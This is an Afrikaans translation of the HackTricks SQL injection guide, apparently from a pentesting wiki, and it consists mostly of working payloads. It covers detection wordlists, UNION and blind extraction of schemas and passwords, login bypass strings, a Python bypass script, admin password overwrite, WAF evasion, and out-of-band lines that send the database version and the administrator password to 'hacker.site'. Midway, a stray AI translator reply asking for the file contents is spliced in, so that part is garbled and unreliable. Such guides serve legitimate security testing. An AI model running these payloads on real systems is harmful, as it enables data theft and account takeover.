SQL Injection

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is SQL injection?

’n SQL injection is ’n sekuriteitsgebrek wat aanvallers in staat stel om met databasisnavrae van ’n toepassing te inmeng. Hierdie kwesbaarheid kan aanvallers in staat stel om data waartoe hulle nie behoort toegang te hê nie te bekyk, wysig, of verwyder, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud veroorsaak, of selfs die kompromittering van die server of denial of service.

Opsporing van ingangspunte

Wanneer ’n webwerf skyn vatbaar vir SQL injection (SQLi) te wees as gevolg van ongewone serverreaksies op SQLi-verwante insette, is die eerste stap om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier volg ’n paar nuttige voorbeelde:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Dan moet jy weet hoe om die query te regstel sodat daar geen foute is nie. Om die query reg te stel kan jy input data sodat die previous query die new data aanvaar, of jy kan net jou data input en ’n comment symbol aan die einde byvoeg.

Let wel: as jy foutboodskappe kan sien of jy verskille kan raaksien tussen wanneer ‘n query’ werk en wanneer dit nie werk nie, sal hierdie fase makliker wees.

Kommentaar

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Bevestiging met logiese operasies

’n Betroubare metode om ’n SQL injection kwesbaarheid te bevestig behels die uitvoer van ’n logiese operasie en die waarneming van die verwagte uitkomste. Byvoorbeeld, ’n GET-parameter soos ?username=Peter wat identiese inhoud gee wanneer dit verander word na ?username=Peter' or '1'='1 dui op ’n SQL injection kwesbaarheid.

Net so dien die toepassing van matematiese bewerkings as ’n effektiewe bevestigingstegniek. Byvoorbeeld, as toegang tot ?id=1 en ?id=2-1 dieselfde resultaat lewer, dui dit op ’n SQL injection.

Voorbeelde wat die bevestiging met logiese operasies demonstreer:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Hierdie woordlys is geskep om te probeer bevestig SQLinjections op die voorgestelde wyse:

Ware SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Bevestiging deur tydsmeting

In sommige gevalle sal jy nie ’n verandering opmerk nie op die bladsy wat jy toets. Daarom is ’n goeie manier om blind SQL injections te ontdek om die DB aksies te laat uitvoer wat ’n invloed op die tyd sal hê wat die bladsy nodig het om te laai.
Daarom gaan ons concat in die SQL-query ’n operasie plaas wat baie tyd sal neem om te voltooi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In sommige gevalle sal die sleep functions nie toegelaat word nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die query komplekse operasies uitvoer wat ’n paar sekondes sal neem. Voorbeelde van hierdie tegnieke sal apart per tegnologie gekommenteer word (indien van toepassing).

Identifisering van die Back-end

Die beste manier om die Back-end te identifiseer, is om te probeer om funksies van die verskillende Back-ends uit te voer. Jy kan die sleep functions van die vorige afdeling gebruik, of hierdie (tabel van payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Ook, as jy toegang tot die uitvoer van die query het, kan jy dit die databasisweergawe laat vertoon.

Tip

As vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection uit te buit. Ons sal MySQL as voorbeeld gebruik.

Identifisering met PortSwigger

SQL injection cheat sheet | Web Security Academy

Uitbuiting van Union Based

Opsporing van die aantal kolomme

As jy die uitvoer van die query kan sien, is dit die beste manier om dit uit te buit. Eerstens moet ons uitvind die aantal kolomme wat die initial request terugstuur. Dit is omdat albei queries dieselfde aantal kolomme moet teruggee.
Gewoonlik word twee metodes vir hierdie doel gebruik:

Order/Group by

Om die aantal kolomme in ’n query te bepaal, verhoog stelselmatig die nommer wat in ORDER BY of GROUP BY klousules gebruik word totdat ’n foutiewe reaksie ontvang word. Ondanks die verskillende funksies van GROUP BY en ORDER BY in SQL, kan albei op dieselfde wyse gebruik word om die query se kolomnommer te bepaal.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select meer en meer null values totdat die query korrek is:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Jy moet null-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan beide kante van die query dieselfde moet wees en null in alle gevalle geldig is.

Onttrek databasisname, tabelname en kolomname

In die volgende voorbeelde gaan ons die name van al die databasisse, die tabelname van ’n databasis en die kolomname van die tabel onttrek:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Daar is ’n ander manier om hierdie data in elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie.

Uitbuiting van Verborgen Union Based

Wanneer die output van ’n query sigbaar is, maar ’n union-based injection onbereikbaar lyk, dui dit op die bestaan van ’n verborgen union-based injection. Hierdie scenario lei dikwels tot ’n blind injection situasie. Om ’n blind injection in ’n union-based een te omskep, moet die uitvoering-query op die backend ontleed word.

Dit kan bereik word deur blind injection-tegnieke te gebruik tesame met die standaardtabelle wat spesifiek is vir jou teiken databestuurstelsel (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken-DBMS te raadpleeg.

Sodra die query onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word ’n union query by jou payload gevoeg, wat die uitbuiting van die nuwe toeganklike union-based injection moontlik maak.

Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by Healing Blind Injections.

Uitbuiting van Error based

As jy om enige rede nie die output van die query kan sien nie, maar wel die error messages, kan jy hierdie error messages gebruik om data uit die databasis te ex-filtrate.
Deur ’n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Uitbuiting van Blind SQLi

In hierdie geval kan jy nie die resultate van die query of die foute sien nie, maar jy kan onderskei wanneer die query return ’n true of ’n false response omdat daar verskillende inhoud op die bladsy is.
In hierdie geval kan jy daardie gedrag misbruik om die database char by char te dump:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Dit is die dieselfde geval as voorheen maar in plaas daarvan om te onderskei tussen ’n true/false response van die query, kan jy onderskei tussen ’n fout in die SQL query of nie (miskien omdat die HTTP server crash). Daarom kan jy in hierdie geval ’n SQLerror forceer elke keer as jy die char reg raai:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

In hierdie geval is daar geen manier om die response van die query op grond van die konteks van die bladsy te onderskei. Maar jy kan veroorsaak dat die bladsy langer neem om te laai as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen in gebruik gesien om confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Jy kan stacked queries gebruik om meerdere navrae agtereenvolgens uit te voer. Neem kennis dat alhoewel die daaropvolgende navrae uitgevoer word, die resultate nie aan die toepassing teruggegee word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met blind vulnerabilities, waar jy ’n tweede navraag kan gebruik om ’n DNS lookup, ’n voorwaardelike fout, of ’n tydvertraging te veroorsaak.

Oracle ondersteun nie stacked queries nie. MySQL, Microsoft en PostgreSQL ondersteun dit: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

As no-other exploitation method worked, kan jy probeer om die database ex-filtrate die inligting na ’n external host wat deur jou beheer word, te laat stuur. Byvoorbeeld, via DNS queries:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Geautomatiseerde Uitbuiting

Kyk na die SQLMap Cheatsheet om ’n SQLi-kwesbaarheid met sqlmap uit te buit.

Tegnologie-spesifieke inligting

Ons het reeds al die maniere bespreek om ’n SQL Injection-kwesbaarheid uit te buit. Vind nog truuks wat van die databasis-tegnologie afhanklik is in hierdie boek:

Of jy sal ’n groot aantal truuks rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lys om te probeer bypass die login funksionaliteit:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Hierdie query toon ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit misbruik deur insette te vervaardig wat, wanneer gehash, onverwagte SQL-opdragdele produseer en lei tot ongemagtigde toegang.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Aanbevole lys:

Jy moet elke reël van die lys as gebruikersnaam gebruik en as wagwoord altyd: Pass1234.
(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)

GBK Authentication Bypass

As ’ ontsnap word kan jy %A8%27 gebruik, en wanneer ’ ontsnap word sal dit geskep word: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python-skrip:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Wysig wagwoord van bestaande object/gebruiker

Om dit te doen moet jy probeer om ’n nuwe object te skep met dieselfde naam as die “master object” (waarskynlik admin in die geval van gebruikers) deur iets te wysig:

  • Create user named: AdMIn (hoof- & kleinletters)
  • Create a user named: admin=
  • SQL Truncation Attack (wanneer daar ’n soort lengtebeperking in die username of email is) –> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

As die database kwesbaar is en die maksimum aantal karakters vir username byvoorbeeld 30 is en jy wil die gebruiker admin naboots, probeer om ’n username te skep met die naam: “admin [30 spaces] a” en enige password.

Die database sal die ingevoegde username kontroleer om te sien of dit in die database bestaan. As dit nie bestaan nie, sal dit die username sny tot by die maksimum toegelate aantal karakters (in hierdie geval na: “admin [25 spaces]”) en daarna sal dit outomaties alle spasies aan die einde verwyder en die gebruiker “admin” in die database bywerk met die nieuwe password (sommige foutmeldings kan verskyn, maar dit beteken nie noodwendig dat dit nie gewerk het nie).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Voeg soveel ','','' by as wat nodig is om die VALUES statement te verlaat. As die delay uitgevoer word, het jy ’n SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Die ON DUPLICATE KEY UPDATE klousule in MySQL word gebruik om te spesifiseer watter aksies die databasis moet uitvoer wanneer ’n poging gemaak word om ’n ry in te voeg wat tot ’n duplikaatwaarde in ’n UNIQUE index of PRIMARY KEY sou lei. Die volgende voorbeeld demonstreer hoe hierdie funksie uitgebuit kan word om die wagwoord van ’n administrateurrekening te verander:

Voorbeeld Payload Injection:

An injection payload might be crafted as follows, where two rows are attempted to be inserted into the users table. The first row is a decoy, and the second row targets an existing administrator’s email with the intention of updating the password:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hier is hoe dit werk:

  • Die query probeer twee rye invoeg: een vir generic_user@example.com en nog een vir admin_generic@example.com.
  • As die ry vir admin_generic@example.com reeds bestaan, word die ON DUPLICATE KEY UPDATE clausule geaktiveer en beveel MySQL om die password veld van die bestaande ry op “bcrypt_hash_of_newpassword” by te werk.
  • Gevolglik kan outentisering probeer word met admin_generic@example.com en die wagwoord wat ooreenstem met die bcrypt-hash (“bcrypt_hash_of_newpassword” verteenwoordig die nuwe wagwoord se bcrypt-hash, en moet vervang word met die werklike hash van die gewenste wagwoord).

Inligting onttrek

Skep 2 rekeninge terselfdertyd

Wanneer jy probeer om ’n nuwe gebruiker te skep, is username, password en email nodig:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Gebruik desimaal of heksadesimaal

Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om daarop te let dat jy niks hoef te kommentaar te lewer nie.

Gebruik hex2dec en substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Here are simple ways to get the file contents — run one of these and paste the output here so I can translate it:

Local filesystem (Linux/macOS):

  • cat src/pentesting-web/sql-injection/README.md
  • sed -n ‘1,200p’ src/pentesting-web/sql-injection/README.md
  • bat src/pentesting-web/sql-injection/README.md (if bat installed)

Git (show file from a commit/branch):

  • git show HEAD:src/pentesting-web/sql-injection/README.md
  • git show origin/main:src/pentesting-web/sql-injection/README.md

Raw from GitHub (replace USER/REPO/BRANCH):

  • curl -s https://raw.githubusercontent.com/USER/REPO/BRANCH/src/pentesting-web/sql-injection/README.md

Windows PowerShell:

  • Get-Content -Raw .\src\pentesting-web\sql-injection\README.md

Paste the file content here (or the output) and I will translate it to Afrikaans using the rules you gave.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Gebruik hex en replace (en substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection is ’n situasie waarin die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. (From Paper)

Voorbeeld:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Aanvanklike bypasses hiervandaan

Geen spasies bypass

Geen spasie (%20) - bypass wat witruimte-alternatiewe gebruik

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass deur kommentaar te gebruik

?id=1/*comment*/and/**/1=1/**/--

Geen witspasie - omseiling deur gebruik van hakies

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass deur gebruik te maak van OFFSET, FROM en JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generiese Bypasses

Blacklist deur sleutelwoorde te gebruik - bypass deur hoofletters/kleinletters te gebruik

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Swartlys gebruik sleutelwoorde ongevoelig vir hoof-/kleinletters - omseil deur ’n ekwivalente operator te gebruik

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Wetenskaplike notasie WAF-omseiling

Jy kan ’n meer diepgaande verduideliking van hierdie truuk in die gosecure blog.
Basies kan jy wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Om kolomname-beperking te omseil

Eerstens, let daarop dat as die oorspronklike query en die tabel waarvandaan jy die flag wil uittrek dieselfde aantal kolomme het jy net kan doen: 0 UNION SELECT * FROM flag

Dit is moontlik om toegang tot die derde kolom van ’n tabel te kry sonder om sy naam te gebruik met ’n query soos die volgende: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, dus in ’n sqlinjection sou dit so lyk:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Of deur ’n comma bypass te gebruik:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Hierdie truuk is geneem vanaf https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

As gebruikersinvoer aan die SELECT-lys of tabel/kolom-identifiseerders gekoppel word, help prepared statements nie omdat bind parameters slegs waardes beskerm, nie identifiseerders nie. ’n Algemene kwesbare patroon is:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Uitbuiting-idee: injekteer ’n subquery in die veldposisie om willekeurige data te exfiltrate:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Aantekeninge:

  • Dit werk selfs wanneer die WHERE clause ’n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
  • Sommige stacks laat jou verder toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
  • Output sinks kan die geselekteerde waarde in HTML/JSON weerspieël, wat XSS of token exfiltration direk vanaf die response moontlik maak.

Mitigasies:

  • Moet nooit identifiers vanaf user input concatenate nie. Map allowed column names na ’n vaste allow-list en quote identifiers behoorlik.
  • As dinamiese table access benodig word, beperk dit tot ’n eindige stel en los dit server-side op vanaf ’n veilige mapping.

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

Some frameworks convert structured filter ASTs into raw SQL boolean fragments (e.g., metadata filters or JSON predicates) and then string-concatenate those fragments into larger queries. If the converter wraps string values as '%s' without escaping, a single quote in user input terminates the literal and the rest is parsed as SQL.

Example pattern (conceptual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → gedekodeer: ' OR '1'='1 → predikaat word:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / identifier-based SQLi (PDO limitation)

Prepared statements kan nie identifikatore bind nie (kolom- of tabelname). ’n Algemene onveilige patroon is om ’n deur die gebruiker beheerde sort-parameter te neem en ORDER BY te bou deur string-konkatenering, soms die inset in backticks te plaas om dit te “skoonmaak”. Dit maak steeds SQLi moontlik omdat die identifikator-konteks deur die aanvaller beheer word.

Vulnerable pattern:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Tekens in verkeer:

  • Sort-parameter in POST (dikwels sort=column), nie ’n vaste allow-list nie.
  • Om sort te verander breek die query of verander die uitvoerorde.

WAF bypass-aanbeveler gereedskap

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Ander Gidse

Brute-Force opsporingslys

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks